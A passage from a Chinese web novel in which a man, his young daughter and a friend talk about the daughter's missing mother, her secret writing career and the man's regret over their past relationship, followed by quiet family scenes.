尹岚起身去厨房给儿子煎了个蛋,拿起筷子:“虽然中午吃过了,这会儿不知怎么又饿了,我陪你们一起吃。” 方姨也拿起筷子:“我也来,再不吃面就坨了,白瞎少爷在厨房忙活这一阵儿了。” 周衍东没做声,仍是低头吃面,尹岚瞧着他,见他神情有些淡淡的忧伤,心想,八成是因为程溪没来,他心里头不好受。 一想到程溪,尹岚心里头也难受起来,吃完面,尹岚问道:“东子,下午有什么安排?” 周衍东:“有个会,推到明天再开了,今天先陪妙妙。” 程妙瑾赶忙开口: 周衍东:“那正好,带爸爸见一见倪老板吧。” 他转头看向母亲,解释:“就是带她来京州的那个阿姨。” 尹岚:“干嘛出去见呀?让人来家里坐坐多好。” 尹岚一心想表达感谢,催着周衍东赶紧请人吃饭,周衍东确实想亲自对程溪和女儿这位朋友表达感谢,但并不想请她来家里,毕竟程溪失踪这事儿暂时得瞒着母亲,倪老板真要是来了,聊天时说漏嘴怎么办? 周衍东摇头:“改天吧,听说人家这几天要在京州好好逛逛,等人有空了再请也不迟。” 程妙瑾给倪老板打电话,跟她说父亲想见见她,倪老板发来一个地址,周衍东开车载着女儿出发,半小时后,来到了那家咖啡店。 父女俩走进店里,程妙瑾环视一圈,冲左边靠落地窗那边扬了扬下巴:“那儿呢。” 周衍东向那个方向看去,靠窗那面有好几桌,他不知道哪位是倪老板,默默跟在女儿身后往前走,最后一桌的短发女人看见他们,冲程妙瑾挥了挥手:“妙妙!” 程妙瑾带着父亲走到她跟前,看了看父亲,介绍道:“这就是我爸爸。” 倪老板上下打量起周衍东,点点头,说道:“久仰大名,周总,我叫倪云初,是程溪和妙妙的好朋友。” 周衍东颔首:“你好,谢谢你大老远带妙妙来京州找我,辛苦了。” “应该的,程溪是我最好的朋友,”她顿了顿,看向程妙瑾,“当然了,妙妙也是,你俩并列第一。” 周衍东看着面前这个一头栗色齐肩短发的微胖姑娘,问道:“你跟程溪是怎么认识的?” 倪云初:“这就要从很多年前说起了。十几年前,程溪拖着行李箱来到我开的民宿,一开始只想短租,但我俩很快成了闺蜜,志趣相投,共同话题数不胜数,我就把一间屋子长租给她。后来她攒了些钱,买了套属于自己的房子。虽然从我那搬出去了,可我们还是朋友,经常一起吃,一起睡,一起玩。” 周衍东有很多问题想问,又碍于女儿在这儿,感觉不方便。 程妙瑾一眼看出父亲心思,仰头望向二楼,说道:“上面有好多书,我去看看。” 周衍东看着女儿上楼的背影,暗自感慨,这孩子察言观色的能力可真不一般。 他看向倪云初,回想起方才那番话:“十几年前……所以你跟程溪认识时,妙妙还没出生,对吗?” 倪云初点头:“是,程溪肚子大起来,我越看越不对劲,问她是不是怀孕了,她没瞒着,承认得很干脆。我问她孩子父亲是谁,她不愿意说,我又问她是不是决定留下这个孩子,他说是。 “我觉得她疯了。当时她孤零零的,一个人远在他乡,那会儿我已经知道他跟家里关系不好,几乎算是决裂,她连稳定的工作和住处都没有,独自一人还想生下孩子,这太疯狂了,不是吗?” 周衍东沉默,轻轻点头。 倪云初叹一口气:“总之,当时我特别不理解,老是劝她尽早把孩子做掉,她不肯,有一次还跟我发火。我意识到自己太多管闲事了,就跟她道歉,她也软下来,抱着我哭,跟我说这孩子是她最后的念想了。” 倪云初停下来,沉默片刻,眼含泪光重复一遍:“她说,这孩子是她活在这个世界上最后的念想。” 周衍东默不作声,低着头,思绪回到很多年前。 他明明记得,分开之前,程溪是不愿意生的。 怎么劝也不愿意。 因为这个跟她吵,其他事儿她都肯服软,偏偏这事儿不肯。 他以为,程溪憎恶周家的血液。 可为什么,分开后反倒非要生下孩子呢? 周衍东不懂。 倪云初将咖啡杯递到嘴边,却没喝,捧着杯子沉默一会儿,继续说道:“妙妙是夏天生的,你知道吗?” 周衍东想起中午孩子给他看的那张生日照上的期日,六月十五号。 “妙妙出生那天,容今下了很大一场暴雨,程溪疼了足足二十六个小时才把孩子生下来。我和我妈在产房外等着,我妈说我吓得脸都白了,嘴唇发紫,她让我别担心,说她生我时,也疼了很久,最后还不是母女平安。 “妙妙生下来后,程溪被推出产房,我妈说,程溪的脸比我的脸还要白,嘴唇比我的还要紫,尽管我妈是个生过孩子的过来人,可看着程溪奄奄一息的样子,还是心疼得哭了。我也哭了。 “倒是程溪,比我们想象中坚强很多,明明虚弱得要命,还笑着安慰我俩,让我们放心,说她和孩子都平平安安,这就是上天赐给她的最大的奖赏。” 周衍东想起当初程溪流产,躺在病房里,也是煞白的。连,发紫的唇,奄奄一息。 回想起程溪那样子,他想,分娩的过程,肯定比流产要难受许多。 他瞬间红了眼眶,觉得自己特不是东西。 “妙妙出生后,”倪云初继续说道,“我试探着问过程溪,是不是对孩子父亲还抱有期望,想跟他复合,她想都没想就否认了。我说那你干嘛非得把孩子生下来,一个女人孤零零带着孩子多不容易。她说,我生这个孩子是为了我自己,倒不是为了养儿防老,只是想拥有一个真正属于我的亲人。你知道她还说了什么吗?” 周衍东:“什么?” 倪云初:“她还说,她曾经把一个男人当做自己最亲最亲的人,她跟这个男人相依为命过一阵子,明明很短的一阵子,却好像就那么走完了一辈子。” 倪云初停下来,看着周衍东,听见他吸了吸鼻子。 倪云初问:“程溪说的这个人就是你吧?” 周衍东不作声,点了点头。 倪云初:“她只主动提起过你那一次,后来再没提半个字。无论我怎么明里暗里打探,她都不说。我想,她一定是被伤得狠了,心被彻彻底底伤透了,才会这样。” 倪云初停下来,叹一口气,问:“这么多年,她有主动联系过你吗?” 周衍东摇头,扯了扯唇角,浮现一抹苦笑。 倪云初又问:“这些年你谈过不少女朋友吧?” 周衍东:“我这辈子,就谈过程溪一个。” 他嗓音哑得厉害。 倪云初挑高眉毛,目光惊讶:“真的假的?怎么可能!” 面前这个男人,无论外貌还是身材,亦或是身家背景,都不是普通精英男这么简单,完全就是人中龙凤。只谈过一段恋爱,并且分手这么多年都没再找过。实在是令人难以置信。 倪云初不知周衍东有没有撒谎,这时候追究这个也没什么意义,她不再多问,扭头看着窗外:“反正程溪这些年没找过别的男人。” 周衍东:“她一个人带着孩子过得很辛苦吧。” 倪云初:“那是肯定的。但她很坚强,很乐观,什么事儿都往好处想,也不爱抱怨,所以我们这些外人看起来,她们母女过得似乎挺轻松。我想,艰难肯定是有的,好在妙妙聪明又懂事,给她省了不少麻烦。” 周衍东:“妙妙确实不是世俗定义的那种乖。她骨子里反叛精神很强,但其实很能共情别人,是个很有同理心的聪明孩子。” 他抬头,望向二楼,发现女儿正捧着一本书,坐在栏杆旁看得起劲。 “程溪失踪前,你最后一次见她,是什么时候?”周衍东皱起眉头,问道。 50-60 第51章 他就一混蛋。 倪云初思索片刻, 答道:“最后一次见面大概是在七月中旬,那天妙妙上学,程溪中午来我家,我们吃了顿火锅。当时一切都很正常, 看不出任何异样。不过那会儿距离她失踪还有些日子, 所以也说不准……那天吃完火锅她就回去了。” 周衍东:“你俩平时经常见面吗?” 倪云初:“是的, 见面很频繁,有时候她和妙妙会来我家住几天, 有时候我又会去她们那儿住。不过那天吃完火锅后,直到程溪失踪, 我俩都没再见过。” 周衍东:“为什么?” 倪云初: 周衍东沉思片刻,问:“倪小姐, 你对她失踪这事儿有什么想法吗?” 倪云初摇了摇头:“这事儿怎么想都觉得奇怪。首先,程溪是个情绪稳定的成年人, 并且绝对不存在什么自杀的倾向。她非常乐观, 凡事总往好处想,总是给人带来很多很多正能量。倒是我, 一有挫折就会灰心丧气, 还曾经有过轻生的想法, 是程溪救了我, 给了我温暖和力量。 “其次,拐卖的话,我觉得不太可能,我们那治安还挺好的, 相比其他城市,犯罪率要低得多,我去警察局问过,近几年容今失踪的人很少,至少没有家属来报过案。” 周衍东沉默许久,问道:“你觉不觉得她像是去散心?” 倪云初:“是有这种可能,有时候人压力大了,会有避世倾向,不过,谁散心连手机都不带,也不提前跟女儿说一声?妙妙还那么小,虽然很多地方都能自理,但也只是个十岁的孩子而已。” 说到这,倪云初长长叹了一口气,仰头望着天花板,陷入沉默。 过了会儿,她看向周衍东,说道:“其实,你更倾向于程溪出意外了,对吗?” 周衍东皱眉:“主要是她出门没带手机,像是只出去一小会儿,不打算在外面待多久。也可能是忘了带。总之,这么久没回来,很难让人不往坏处想。” 倪云初低下头,垂眸盯着杯子里的细长银勺:“已经好些天没消息了,其实我……我心里也有不好的预感,可就是不愿意相信。警察到现在还没找到什么线索,我和妙妙都是普通得不能再普通的人,更查不出究竟。现在我们只能寄希望于你了。” 周衍东内心无比沉重,许久都没作声。 他仰头望着楼上的女儿,像是在发呆,又像在沉思。 倪云初不知他在想什么。只是看得出来,此刻他心里肯定极不好受。 半晌,周衍东开口问道:“这些年程溪都靠做什么工作赚钱?” 他记得程溪离开京州时,他给她的钱、首饰、银行卡,她一律没带走,就连衣服也只带了几件长穿的平价款。 倪云初说:“她写小说。” 周衍东目光闪过淡淡惊讶:“写小说?” 倪云东点头:“是的,写了很多很多网络小说,出版过好几本,一直都有稿费,所以对她来说,经济方面其实还好,没什么问题。只是头几年没名气的时候会困难点儿。” 周衍东问:“她笔名叫什么,都写过什么故事?” 倪云东表情无奈,叹一口气:“说出来你可能不信,我也不知道。除了她自己,还有跟她合作过的人,我和妙妙都不知道她笔名叫什么,写过什么书。但每次有好消息,卖出版权了,或者小说引起什么热烈反响,她都会跟我分享。” 周衍东想起来,程溪大学读的是中文系,走上写作这条路,也算是情理之中。 他很想知道她都写过什么故事,那些故事里,有没有他和她的影子? 不过现在看来,只有找到程溪本人,才能找到答案。 周衍东沉默时,倪云初抬头望向楼上,冲正捧着书读得津津有味的孩子打了个响指,叫道:“嘿!” 程妙瑾看书极其专注,压根没注意到楼下有动静,倪云初笑了笑,收回欣赏的目光,看向周衍东:“我可太喜欢妙妙了。” 周衍东点头附和:“是,她很招人喜欢。” 倪云初:“不,只是很招大人喜欢,同龄人反倒不怎么喜欢她。毕竟对他们而言,妙妙显得太高冷,也太高傲了。” 周衍东:“鹤立鸡群是这样的。” 倪云初:“你小时候也这样?” 周衍东:“差不多,我小时候只跟一个朋友玩儿得好。他也是很聪明很努力的人,站在别人的角度可能会觉得我俩被孤立了,挺可怜,但我们从来不这么想。” 他忽然记起印磊曾经说过的话,摇了摇头:“确切地说,是我从不这样想。” 他将目光移到楼上,又补了一句:“所以妙妙真的很像我。” 倪云初目不转睛盯着周衍东看了许久,紧紧皱眉,满脸都是疑惑:“我在网上搜过你的资料,你今年三十五了吧?真就只谈过程溪一个女朋友?” 周衍东耸耸肩:“你不信也可以。” 倪云初解释道:“抱歉,不是故意不相信,主要这个事儿吧,太令人难以置信了。如果是真的,那你还真是一股清流。按道理说,你们这个圈子诱惑这么多,干净的男人估计没几个。” 周衍东不置可否:“确实,如果你不是这圈子的,很难想象里面的人会肮脏到什么地步,所以当初我跟程溪在一起时,从不让她融入这个圈子。当然了,这里不乏有美好善良正直的人,可一旦接触到那些肮脏恶毒的人,留下的阴影,很可能让她一辈子也走不出来。” 这番话让倪云初陷入沉思,过了好一会儿,她看着周衍东,问:“周总,你后悔爱过程溪吗?” 周衍东笑了,唇角浮现无奈和自嘲:“我倒是想知道,程溪有没有后悔爱过我。” 倪云初满眼好奇:“方便说说你俩的故事吗?” 周衍东拒绝得斩钉截铁:“抱歉,不方便。” 倪云初挑了挑眉,点头:“行,没关系,我这人虽然挺八卦的,但程溪是我最好的朋友,我只希望她现在平平安安,其余什么都不重要。” 周衍东掏出手机,给那位在云州的熟人打电话问情况,那边说用了些法子查过,暂时没找到线索,让他再等等。 他挂断电话,默默盯着自己那杯咖啡,目光空洞而茫然。 过了好一会儿,倪云初抬手在他眼前晃了晃:“周总,要不今天先结束吧?” 周衍东回神,点点头,眉间愁云仍未消散。 倪云初冲楼上喊:“妙妙!” 程妙瑾扭头看向他们,倪云初招了招手示意她下来。程妙瑾将手中的书合上放回原位,下楼走到他俩跟前。 周衍东结了账,起身时说道:“倪小姐,今晚一起吃饭吧。” 倪云初摇头拒绝:“不了,最近发生挺多事,我心里挺乱的,只想自己一个人散散心。我知道你是好意想表达对我的感谢,不用这么客气,作为程溪的朋友,这些都是我应该做的。” 她拍拍程妙瑾肩膀,笑着说:“今晚别回酒店了,好好陪陪你爸。” 程妙瑾抱住她,头埋在她肩膀,小声开口:“那你不要太想我哦。” 倪云初噗嗤笑了,摸摸她脑袋:“你呀,要是能跟你妈妈这么撒娇该多好。程溪总跟我抱怨呢,说你性子太冷,跟她还端着。” 程妙瑾闭上眼,心里一阵酸楚。 现在后悔还来得及吗?以后还有机会跟妈妈好好撒一撒娇吗?她强忍着泪水,默默地问。 倪云初眼里起了雾,轻轻推开孩子,撵人:“走吧走吧,我还有个景点没逛完呢,别耽误我时间。” 周衍东问:“要不要载你一程?” 倪云初摇头:“不用,很近的,走着去就行。我和程溪都喜欢散步。” 她三句话不离程溪,另外两个人听得难受,说完刚才那话,她自己也意识到这个问题,心里更是揪着疼。 三个人走出咖啡店,倪云初冲他俩挥挥手,飞快转身离开,生怕他俩看见自己流泪。 程妙瑾跟着父亲上了车,父亲坐在驾驶位,她坐后座。 周衍东问:“怎么不坐前面?” 她沉默,过了会儿才哽咽着开口:“我喜欢坐后面。” 那时正在等红灯,周衍东回头看了看,发现她头埋得很低,刚才声音也颤得厉害。 周衍东知道,女儿哭了。 他很想问一问,妙妙,是不是想妈妈了? 知道这完全就是一句废话,所以没有用这句废话再去刺伤女儿。 他闭上眼,深深地吸一口气,心里明白,其实他自己,也好想程溪。 好想好想程溪。 后面有人按喇叭,急促刺耳的声音让他清醒几分,他这才看见绿灯已经亮起,后面的车早已等不及。 周衍东没有带女儿回公寓,他将车停在护城河旁,领着女儿沿河道外的林荫路漫无目的散步。 程妙瑾问:“我们来这里干嘛?” 他说:“不干嘛,走走。” 程妙瑾又问:“你和妈妈以前常来这儿,是吗?” 他不作声,沉默许久,嘶哑着嗓音开口:“我很少跟她来这儿,其他地方也很少陪她去。” 我答应过她的事,做到的太少太少。这话他没说出口,因为实在是说不出口。 他扭头看着与自己并肩而行的女儿,一时百感交集。 “妙妙,你知道妈妈写过什么故事吗?”他问。 程妙瑾摇头:“不知道,她从来不跟我说。家里有很多书,什么种类都有,包括小说,我问过,那里面有没有她写的,她说没有。或许有吧,只是她不承认。” 周衍东:“她日记里没提过这方面吗?” 程妙瑾:“提是提过,但没说自己笔名叫啥,就只是写,‘今天更新的内容被骂了,唉,好难过’……‘今天又被夸了,开心”……‘有些读者真可爱’等等这种话。我试图查过,但找不到线索。” 周衍东:“没在家里找过合同之类的东西?” 程妙瑾:“没有,真是怪了,程溪这个人啊,有时候看着马马虎虎,但瞒起事儿来。真的很厉害。” 周衍东沉思一会儿,问道:“你查过妈妈手机吗?” 程妙瑾点头:“早就查过了,警察也查过她最近联系过的人,都没线索。她手机上微博只有一个小号,大号被她退出来了,我也不知道大号是什么。” 听完这番话,周衍东思索片刻,很快发现漏洞,犀利的目光看向女儿:“报案后,警方会把失踪者的信息查得很清楚,不可能查不到她笔名,也不可能不告诉家属。” 程妙瑾心虚地低下头。 周衍东叹一口气:“即便是知道笔名,也找不到什么有用的线索,对么?” “嗯……”程妙瑾极小声应道。 周衍东:“她写了这么多年小说,在网络上应该有一定影响力,要不咱们网上公开寻人试试?” 出乎他意料,程妙瑾摇了摇头。 “别这样做。”她咬着唇,避开父亲目光。 周衍东一股火窜上来,不禁凶道:“妙妙,这种时候还瞒着爸爸!” 程妙瑾红了眼,内心挣扎许久,小声开口:“妈妈失踪那天写了日记,只有三个字。” 周衍东心提到嗓子眼儿:“什么?” 程妙瑾:“‘别找我’。” 瞬间,周衍东脑海闪过一个念头。 他看向女儿,发现女儿也不由自主看向他,父女俩目光交汇,无需言语也能意会对方心里在想什么。 他压制住那个念头,问:“你觉得程溪抑郁吗?” 程妙瑾:“你是指抑郁症,还是只是那种不开心的情绪?” 周衍东:“抑郁症。” 程妙瑾仔细回想,沉思了许久,摇头:“有时候妈妈确实不太开心,但人总会有情绪,大家都是凡夫俗子,不可能万事想得开,总有不舒服的时候。只是这么多年,自从我记事以来,就没怎么见她崩溃过,或者持续很久不开心。” 周衍东:“有些抑郁症患者表面上看起来阳光乐观,但只是隐藏得很好罢了。他们不地自我压抑,伪装坚强,因为不想给别人添麻烦,害怕影响他人,只希望永远给人带来正能量,这种抑郁症患者都非常非常善良。” 程溪微微摇头:“没错,可我还是觉得妈妈不像有抑郁症……她的坚强和乐观,不是装出来的。我跟她一起生活这么多年,我比你更了解她。” 周衍东:“你给我看的那张合照上,程溪很瘦,这些年她一直这么瘦吗?” 程妙瑾:“倪老板说过,妈妈怀孕期间胖了很多,生完我又很累,很久没减下来,直到我三岁去了幼儿园,她才能喘口气好好减肥,大概四岁起,我印象中她就一直挺瘦,不过今年确实比以前瘦。 “她吃得越来越少,有时比我吃得还少,我都看不下去了,让她多吃点儿,她不肯,说多吃会胖,她得减肥。” 周衍东:“这些年她一直努力维持体重保持身材?” 程妙瑾:“不,是去年年底才开始的。我记得春节吃年夜饭,程溪做了一大桌菜,都得可好吃了。我和倪老板吃得挺多,她自己忙活一天反倒没怎么吃,说是不饿,还不许我们硬逼着她吃。” 周衍东陷入回忆。 程溪以前并不是个热衷减肥的人,至少跟他在一块儿时不是。她对苗条身材没有多大执念,并且也不是易胖体质,有时确实食欲好,但不会暴饮暴食,总体来说,心态和饮食习惯都还算健康。 周衍东心里,升起一片雾霾。 默默走了很长一段路,他转移话题:“刚才在店里看了什么书?” 程妙瑾说:“宋词赏析。” 周衍东:“喜欢哪首?” 程妙瑾:“今天看的那些,谈不上多喜欢吧,就是有一首印象还挺深的,晏几道的《御街行·街南绿树春饶絮》。” 周衍东脑海中浮现起这首词。 初中那会儿他读了几遍这首词就背下来了,可即便背得滚瓜烂熟,依然无法切身体会词中深意,只把它当成作文素材放在脑中的记忆库。 见他不作声,程妙瑾问:“你以前会和妈妈讨论文学吗?” 周衍东摇头:“很少,主要是没时间。” 程妙瑾叹气:“那真是可惜了,妈妈大学读的中文系,她在日记里夸过你,说你很有思想,文采很好,又说你俩不常交流文学。我看的时候挺纳闷,为什么不呢?” 周衍东默默在心里问自己,是啊,为什么不呢? 因为忙,又或者,因为瞧不上。 尽管他是个理科生,但从小读万卷书,自视甚高,总觉得程溪学的那点东西,没意义讨论,也不值得花时间跟她讨论。 周衍东陷入深深的自责中,又对自己有了几分鄙夷,鄙夷那不可一世的清高和不屑一顾的傲慢。 他再次深刻体会到自己有多混蛋。 搬来京州以后,程溪在漫长的孤独中痛苦捱着,自己对她的冷落,何尝不是一种精神上的冷暴力? 他记得那会儿家里多了很多书,方姨说,程小姐没事儿就看书,当时他还说,她本来也没什么事儿,看看书挺好。 他记得自己说那句话时,心里想的是:不太聪明的人就该多读书,提高一下认知才好。 太傲慢了,他想。 周衍东红着眼,望向对面河岸,很想大声喊出一句“对不起”,却不知道,该听这句“对不起”的人,此时此刻在哪里。 程妙瑾停下脚步,问:“还要继续走吗?” 他也停下来:“累了吗?” 程妙瑾:“没有。” 周衍东:“无聊了?要不要去别的地方转转?想要什么东西爸爸带你去买。” 程妙瑾摇头:“不需要,物质上我什么都够。其实妈妈赚得不算少,但她主张节俭生活,还捐出去了一部分钱。她捐钱我没意见,毕竟本来就不是我赚的。她有权利安排自己的钱怎么使用。” 周衍东:“她一直都是个很节俭的人,我曾经试图改变这一点,但失败了。我以前总觉得,如果经济条件允许,就没必要这么省,可她觉得我是在嫌她穷酸,在这点上,我俩始终存在分歧。” 由无数个方面组成。 “你在这个方面对她没有恶意,其他方面又对他心存鄙夷——比如,不愿意花时间跟她讨论文学,所以,怎么能要求她在这个方面理解你?” 周衍东羞愧至极,低头盯着脚边的落叶,红着眼不作声。 程妙瑾想起一件事,好奇问道:“我在网上查过,你的爸爸——也就是我爷爷叫周庆显,他目前还健在,为什么之前没在公寓看到他,也没听你和奶奶提起过?” 周衍东沉默,犹豫着要不要将自己与父亲之间的纠葛告诉她,再三思索后,决定浅浅说个大概。 “你爷爷控制欲太强,我和你奶奶作为他最亲的人都没法忍受这一点,所以为了自己的身心健康,我们从那个家里搬了出来,也不怎么跟他来往。” 大人的事,小孩不好评论,程妙瑾听完没说什么,只是点了点头。 周衍东问:“程溪没在日记里提过你爷爷?” 程妙瑾:“没有,从来没有。” 周衍东心想,父亲做的那些事,程溪不可能记恨,只是不愿再提起罢了。 又走了一小会儿,周衍东提议回家,程妙瑾没意见,跟着他原路返回上了车,这次程妙瑾坐的是副驾,因为没有哭。 尹岚和方姨正在客厅坐着,见他俩回来,起身迎接,见尹岚眼睛红肿,周衍东知道,他们出门这段时间,她肯定在家里没少哭。可他不知该如何安慰母亲,便只当没看见。 下午走了太多路,程妙瑾又累又困,不禁打起哈欠。尹岚见她满脸疲惫,问道:“妙妙,累了吧,要不要睡会儿?” 程妙瑾摇头,刚想拒绝,听见周衍东说:“不行,必须睡一觉,好好休息,养足精神才能——” 他收住话,看着女儿,用眼神传递没说完的那半句话。 程妙瑾只得点头答应。 楼下共有三间卧室,其中两间尹岚和方姨住了,另外一间比较小,周衍东不想让女儿住小房间,便领着她上楼。 楼上三间房,一间主卧,一间客卧,一间书房。 周衍东住客卧——程溪离开后,他就从主卧搬了出来。 打开主卧门,周衍东对女儿说:“以前我和你妈妈住这间房。” 想想又觉得这话不太对,他摇了摇头:“主要是你妈妈自己住这里,我回来得少。” 程妙瑾走进房间,目光四处看,见房间收拾得整洁,问道:“她走以后呢?你就自己睡这儿?” 周衍东:“不,我睡隔壁。你妈妈离开后。我就不睡这儿了。” 其实也睡过,周衍东想起来,有时应酬完醉得一塌糊涂就会进错房,第二天醒来,睁眼看见熟悉的房间,床上却只有自己,心脏瞬间被愁绪填满,一整天都过得阴沉。 “这间卧室家政阿姨会定期打扫,方姨每周也会换干净的床品,放心睡吧。”周衍东说。 程妙瑾:“还有别的房间吗?” 周衍东:“楼下有,不过那间房小,还是住这儿吧,这儿面积大,还自带卫浴,更方便。” 程妙瑾摇头:“我想住楼下那个小房间。” 周衍东不理解:“为什么?楼下那间不带卫浴,洗澡上厕所都得在外面。” 程妙瑾:“没关系啊,我就喜欢住小房间,空间小一点更有安全感。” 周衍东笑了笑:“这点倒是跟你妈妈一样。” 程妙瑾陷入沉默,过了会儿,抬眸看着他:“我能说句实话吗?” 周衍东:“什么?” 程妙瑾:“这间主卧好大,妈妈住着应该很害怕。她胆子特小,这么大个人了还怕鬼,你俩没分开的时候,你回来得少,她一个人睡这里,应该很难熬……” 周衍东轻轻点了点头,别过脸,无言以对。 他带着女儿下楼,送她进了那间小卧室,然后来到客厅,给助理打电话,吩咐助理买些女孩的生活用品,又让他去酒店把孩子的行李带过来。 过了十分钟,尹岚悄悄打开小客房的门往里瞧,低声对走到自己身边的儿子说:“睡着了。” 周衍东也往里瞧,见女儿背对着房门侧躺在床上,一动不动。他轻轻将门关上。 尹岚拉着周衍东回客厅,拿出一个袋子递给他。 “东子,生日快乐!这么多年来,妈妈都没送过你什么礼物,也不知道你喜欢什么……” 周衍东打开袋子,拿出里面的丝绒盒子。 是块名牌机械腕表。 他笑了笑,摘下自己手上的表,戴上母亲送的这块:“谢谢妈,很好看,我喜欢。” 尹岚含着泪点头:“喜欢就好,喜欢就好……” 孩子睡觉前,方姨出门买菜去,这会儿客厅里只有他们母子。 尹岚问:“程溪联系过你吗?” 周衍东摇头。 尹岚纳闷:“那孩子怎么找过来的?” 周衍东:“她朋友——就是那个倪老板送来的啊,不是说过吗?” 尹岚想不通:“一句招呼不打就把孩子送过来……东子,你是不是有什么事儿瞒着我?程溪真没联系过你?” 周衍东心里本就压着一块石头,听她这么念叨,烦躁得要命,随口胡诌敷衍道:“联系了联系了,跟我说了孩子要来。” 尹岚:“什么时候跟你说的,怎么说的?” 周衍东:“昨儿打电话给我,那会儿我还在江城呢,连夜赶回来了。” 尹岚:“那你刚才又说没联系!” 周衍东不耐烦:“妈您别问了成么?” 被他这么一凶,尹岚委屈得红了眼。 “妈妈就是……就是担心,总觉得哪里不对劲。你说程溪都愿意让孩子回来,怎么就不肯联系联系我呢?这么多年,连个音信也没有……” 周衍东:“她这么做自然有她的道理,肯定不是故意针对您,行了您别多想了,我也上去休息会儿。” 望着儿子上楼的背影,尹岚只能徒劳叹息。 她恍惚了几秒,想起来身在何处,凭着记忆摸到墙上的开关,打开灯,房间瞬间明亮起来。 灯光刺眼,她闭着眼缓了缓,再睁开,坐在床上发了一会儿呆才下床,从书包里拿出手机,看一眼时间,凌晨三点半。 这个点醒来肯定睡不着了,程妙瑾不想玩手机,又觉得时间难熬,想起楼上有间书房,便离开卧室悄声上楼,准备看看书打发时间。 轻轻推开书房门,她看见里面亮着一盏台灯,父亲竟在这里,只不过已经睡着了。 周衍东坐在椅子上,靠着椅背,睡得似乎很沉。 程妙瑾轻缓地迈着脚步,走到书桌前。 桌上摊开一张宣纸,旁边是毛笔和砚台。宣纸上写着一首词。 程妙瑾看不出这算什么字体,但知道这是一手漂亮的好字,一看就没少练过。 宣纸上的词正是下午她跟父亲提过的那首晏几道的《御御街行·街南绿树春饶絮》。 程妙瑾从头一个字一个字在心里默读,发现父亲偏偏落了最后一句没写。 最后一句是什么来着?她在记忆中搜索起来,霎时红了眼眶—— “落花犹在,香屏空掩,人面知何处?” 第52章 曾经那么相爱。 看着宣纸上这首父亲未写完的词, 程妙瑾百感交集。 她虽然早慧,但说到底也是个孩子,十岁的年纪,并不十分懂得大人之间的情爱纠葛, 只是隐隐知道, 父亲和母亲, 一定曾经深深爱过彼此。 程妙瑾转身来到书柜前,目光扫过一排排书, 停在那本《基因传》上。 这个名字让她内心有了触动,不禁联想起血脉相承的奇妙之处。 她打开玻璃柜门, 抽出这本书,正准备离开, 听见了父亲低沉的声音:“妙妙。” 程妙瑾扭头,见父亲已经醒来,坐直了身子正看着她。 “对不起, 吵醒你了是吗?”她抱歉说道。 周衍东摇头:“不怪你,我睡得浅。” 程妙瑾: 周衍东:“不知道, 你醒了多久?” 程妙瑾:“一小会儿。” 周衍东算了算, 她这一觉大概睡了九个多小时。看着女儿补充睡眠后气色好了许多,他稍微放心了些。 见女儿手里拿着书, 周衍东问:“准备看什么?” 程妙瑾举起这本厚厚的书, 将封面展示给他。 封面上的三个字让周衍东笑了:“这本你看得懂吗?” 程妙瑾不服气:“都翻译成汉字了, 有什么看不懂?就算看不懂, 我也要看,闲着也是闲着,总不能一直发呆或者玩手机浪费时间。” 她走到书桌前,低头看着桌上的宣纸。 周衍东:“之前就看过了吧?” 程妙瑾点头:“嗯, 你从小就练书法吗?” 周衍东:“小时候练得勤,高中以后就懒散了。工作后更是没什么时间写。” 程妙瑾夸道:“真好看!” 周衍东摇了摇头:“也就那么回事儿。你勤练练,肯定写得比爸爸强。” 程妙瑾:“以前程溪想给我报书法班,我不喜欢,现在看了你的字,觉得写出一手好字真酷,又挺想学了。” 周衍东:“行,赶明儿给你联系老师。” 程妙瑾盯着宣纸犹豫片刻,没忍住,还是问出了口:“最后一句是忘了写吗?” 她语气试探,其实心理已经有了答案。 周衍东没作声,沉默了一会儿,目光落在空着的那一行上。 程妙瑾知道他心里难受,不再多问,说道:“我下去看书了,你也早点休息。” 周衍东淡淡“嗯”一声。 程妙瑾走到门口,打开书房门,却定住了脚步没有迈出去,想了想,转身看着父亲,问:“爸爸,你想知道妈妈笔名吗?” 周衍东毫不犹豫,点头:“想,但程溪不希望别人知道,所以暂时先不用告诉我。” 程妙瑾:“不好奇她写过什么故事?” 周衍东:“当然好奇,但以前我不够尊重她,所以这次,我想我应该——” 程妙瑾:“明白了。” 她走出书房,替父亲轻轻关上门。 周衍东盯着紧闭的门发了会儿呆,然后低头,目光落在那首词上。 没写出的哪一句,今晚他已经在心里念了千万遍。 “落花犹在,香屏空掩,人面知何处?” 人面知何处。 人面知何处…… 他用沙哑的嗓音一遍一遍念出这五个字,末了抬起手,将连埋进双手掌心,极克制地不让自己哭出声。 书房里响起一阵压抑的啜泣。 周衍东在书房里待了整整一夜。 天光乍亮,他起身走到窗前,拉开窗帘,打开窗户,迎着晨光和微风,闭上眼,想:程溪,程溪,你在哪里? 他点燃一支烟,深吸一口,吐出长长的白雾,隔着这稀薄的白雾,望向楼下绿化区一排排树木。 今天又是个大晴天,可他心里的雨,一直没停过。 七点半,方姨上楼敲了敲书房门,在外面问:“少爷,醒了吗?” 周衍东应了一声,方姨推开门:“妙妙说您在书房。下去吃早餐吧,妙妙煮了面。” 周衍东惊讶:“妙妙煮的?” 方姨笑道:“是,这孩子早早起床,不声不响就把把早餐都做好了,夫人高兴得都哭了!” 周衍东赶紧下楼,尹岚坐在餐椅上冲他招手:“快过来尝尝你女儿的厨艺!” 周衍东心里想着程溪,始终不好受,但这会儿又因为女儿的懂事倍感欣慰,难受淡去几分。 程妙瑾分给他一双筷子。 周衍东看着餐桌的四碗面,每一碗里都有个煎蛋,笑道:“蛋煎得不错。” 尹岚:“只是不错?这蛋煎得简直不要太漂亮!是不是啊方姨?” 方姨忙不迭点头附和:“是是是!我做这么多年饭都煎不出这么漂亮的鸡蛋呢!” 程妙瑾被大家夸得不好意思:“有时候妈妈工作忙,我就自己做饭。” 尹岚不住地夸她懂事儿,又问:“你妈妈现在做什么工作?” 程妙瑾如实说道:“她写小说。” 尹岚愣了愣,随即会心一笑:“还真挺适合她,跟她专业对口。她爱看书,想象力也丰富,难怪会选择从事这个职业。” 程妙瑾怕奶奶再问下去,赶忙催道:“您快吃吧,等会儿面坨了就不好吃了。” 尹岚点点头:“哎,哎,我尝尝!” 只尝了一口她便忍不住拍大腿称赞:“味儿可真不错!” 方姨和周衍东也点头表示赞许。 程妙瑾性子虽然高冷,这会儿被家里人一个劲儿夸,仍会忍不住暗喜,心里偷着乐。 周衍东昨天才见着女儿,对她却莫名熟悉,倒像是一起生活了好些年。见她那样儿,就知道这孩子在偷偷暗喜,不禁扬起唇角。 